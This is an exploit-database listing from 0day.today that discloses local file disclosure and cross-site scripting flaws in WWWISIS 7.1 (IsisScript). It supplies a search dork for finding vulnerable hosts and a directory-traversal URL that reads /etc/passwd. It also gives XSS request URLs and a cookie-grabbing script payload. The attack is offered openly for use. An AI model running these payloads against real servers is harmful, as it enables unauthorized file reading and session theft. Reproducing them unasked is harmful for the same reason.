[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

WWWISIS <= 7.1 (IsisScript) Local File Disclosure / XSS Vulnerabilities

Author
JosS
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-2226
Category
web applications
Date add
12-10-2007
Platform
cgi
=======================================================================
WWWISIS <= 7.1 (IsisScript) Local File Disclosure / XSS Vulnerabilities
=======================================================================



# WWWISIS (Search) Multiple Vulnerabilities
# Bug found by JosS
# Spanish Hackers Team
# d0rk: powered by WWWISIS
#Stop lammer


# Local File Disclosure Vulnerability:

http://server/cgi-bin/wxis.exe/iah/?IsisScript=[file]
http://server/cgi-bin/wxis.exe/iah/?IsisScript=../../../../../../../../../etc/passwd


# Exploit In (XSS):

http://server/cgi-bin/wxis.exe/iah/?IsisScript=iah/iah.xis&base=article%5Edlibrary&fmt=iso.pft&lang=i
http://server/cgi-bin/wxis.exe/iah/?IsisScript=iah/iah.xis&base=article%5Edlibrary&fmt=iso.pft&lang=e
....

[ i,e ... ] it is the language of script

# Cross Siting Scripting:

<script>alert(document.cookie)</script>


//---------------------------------------\\

Greetz To: All Hackers
JosS!



#  0day.today [2024-11-15]  #